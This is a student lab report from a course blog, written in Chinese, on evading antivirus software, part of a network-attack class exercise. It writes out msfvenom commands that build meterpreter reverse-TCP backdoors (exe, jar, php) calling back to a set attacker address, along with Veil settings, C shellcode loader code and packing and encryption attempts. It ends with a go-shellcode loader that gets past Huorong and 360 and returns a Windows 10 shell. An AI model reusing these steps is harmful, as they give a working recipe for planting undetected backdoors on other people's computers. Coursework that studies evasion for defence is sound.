175210闵天 《网络对抗技术》Exp3 免杀原理与实践

预备工作

veil 安装

我怕麻烦,直接在 docker 上跑了

docker pull mattiasohlsson/veil

docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil

火绒安装

  • 版本:5.0.41.6

  • 病毒库 4.2 日更新

实验内容

1-1、正确使用msf编码器

先看看参数有哪些

Options:
    -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取
        --payload-options            List the payload's standard options # 列出指定 Payload 的标准可选配置项
    -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all
    -n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload # 指定 nop 在 payload 中的数量(译者注:类似堆喷射中通过 nop 滑动到 payload)
    -f, --format        <format>     Output format (use --help-formats for a list) # 指定 Payload 的输出格式
        --help-formats               List available formats # 列出所有可用的输出格式
    -e, --encoder       <encoder>    The encoder to use # 指定使用的 Encoder
    -a, --arch          <arch>       The architecture to use # 指定目标系统架构
        --platform      <platform>   The platform of the payload # 指定目标系统平台
        --help-platforms             List available platforms # 列出可用的平台
    -s, --space         <length>     The maximum size of the resulting payload # 设置未经编码的 Payload 的最大长度
        --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value) # 编码后的 Payload 的最大长度
    -b, --bad-chars     <list>       The list of characters to avoid example: '\x00\xff' # 设置需要在 Payload 中避免出现的字符
    -i, --iterations    <count>      The number of times to encode the payload # 设置 Payload 的编码次数
    -c, --add-code      <path>       Specify an additional win32 shellcode file to include # 指定包含一个额外的win32 shellcode文件
    -x, --template      <path>       Specify a custom executable file to use as a template # 指定一个特定的可执行文件作为模板
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread # 保护模板程序的功能,注入的payload作为一个新的进程运行
    -o, --out           <path>       Save the payload # 保存 Payload 到文件
    -v, --var-name      <name>       Specify a custom variable name to use for certain output formats # 指定一个变量名
        --smallest                   Generate the smallest possible payload # 尽可能生成最短的 Payload
    -h, --help                       Show this message # 帮助

输入 msfvenom -l encoders 查看编码器有哪些

选择 x86/shikata_ga_nai,使用命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.131.129 LPORT=9999 -f exe > 5210_backdoor.exe

virustotal检测一下,效果很不理想

上述规则编码10次。使用命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.131.129 LPORT=9999 -f exe -i 10 -b '\x00' > 5210_backdoor.exe

然而效果更差了

结论

如果想要使用msfvenom免杀,就要使用原生的编码模板

1-2、msfvenom生成如jar之类的其他文件

(1) 生成 jar 文件

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.131.129 LPORT=9999 x> 175210_backdoor.jar

(2) 生成 php 文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.131.129 LPORT=9999 x> 5210_backdoor.php

看起来还不错,但移到宿主机的时候,火绒直接报毒了

1-3、使用 Veil

使用如下命令进入veil(详见预备工作)

docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil

输入 use evasion 命令进入 veil-evasionlist payload 查看有哪些payload

使用 go 语言生成 payload( 注意我将 docker 中 veil 的输出路径映射到宿主机的 /tmp/veil-output )

use 16 
set LHOST = 192.168.131.129 
set LPORT = 5211
generate

VT查杀率46/70,火绒也直接查杀了。Veil 的效果并不好,而且我看它三年没更新库了……

1-4 使用 C + shellcode 编程

(1) Linux平台交叉编译Windows应用

生成 shellcode

msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.131.129 lport=9999  -f c -o shell.c

函数指针执行法

#include <stdio.h>
#include <stdlib.h>

unsigned char buf[] = 
...

int main(){
    int (*func)() = (int(*)())buf;
    func();
}

编译

i686-w64-mingw32-g++ shell.c -o mt.exe

毫无悬念地被火绒查杀了

(2) VisualStudio编译Windows应用

visual studio 2019 中新建项目,cpp 文件内容如下

#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char met[] =
....

int main()
{
	DWORD old = 0;
	BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
	INT32 * addr;
	addr =(INT32*) &met;

	__asm;
	{
		call addr;
	}
	return 0;
}

刚运行就被火绒查杀了

我看到一篇3月10号的文章,说利用 强制类型转换 可以实现免杀,试了试,代码如下

想法很巧妙,但运行一会就被火绒查杀了……

1-5 加壳工具

  • 从技术上分壳分为:
    • 压缩壳

      减少应用体积,如ASPack,UPX

    • 加密壳

      版权保护,反跟踪。如ASProtect,Armadillo

    • 虚拟机

      通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida

(1) 压缩壳UPX

给上面的 mt.exe 加个壳

upx mt.exe -o mt.upxed.exe


一点用都没有

(2) 加密壳Hyperion

使用以下指令

sudo wine /usr/share/windows-resources/hyperion/hyperion.exe -v mt.exe mt.hypered.exe

没用的,被火绒查杀

1-6 使用其他课堂未介绍方法

(1) XOR/AES 编码 c# + shellcode(失败)

msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.131.129 lport=999  -f raw > shellcode.raw
  • AES 加密处理
./shellcode_encoder.py -cpp -cs -py ~/shellcode.raw bjdzmt1752 aes

  • visual studio 2019 编译运行

    结果被火绒秒杀

2-1 通过组合应用各种技术实现恶意代码免杀

使用 go-shellcode 加载器(成功!火绒,360未能检测)

  • 需要先下载加载器:https://github.com/brimstone/go-shellcode

  • 下载后,进入 go-shellcode\cmd\sc 目录,执行 go build,生成sc.exe

  • 然后用msfvenom生成hex格式的shellcode

    msfvenom -p windows/x64/meterpreter/reverse_tcp -f hex -o shell.hex LHOST=192.168.131.129 LPORT=9999
    

  • 使用sc加载器进行加载

    sc 'your shellcode'

    如图

  • 成功与火绒共存

2-2 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 杀软版本:火绒 5.0.41.6,病毒库 4.3 日更新

  • 使用 2-1 中的方法

  • msf 成功获得 windows 10 shell

实验总结

基础问题回答

(1) 杀软是如何检测出恶意代码的?

  • 基于特征码的检测
  • 启发式恶意软件检测
  • 基于行为的恶意软件检测

(2) 免杀是做什么?

  • 免杀就是让安插的后门不被AV软件发现

(3) 免杀的基本方法有哪些?

  • 改变特征码

    • 如果你手里只有EXE
      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为

    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码

实验总结和体会

  • 病毒库更新的太快了,3月7日还可以用的方法现在已经不能用了

  • 做免杀不能想当然,并不是方法叠加的越多越好

开启杀软能绝对防止电脑中恶意代码吗?

不能,这次实验已经证明。

posted @ 2020-04-03 20:02  175210闵天  阅读(363)  评论(0编辑  收藏  举报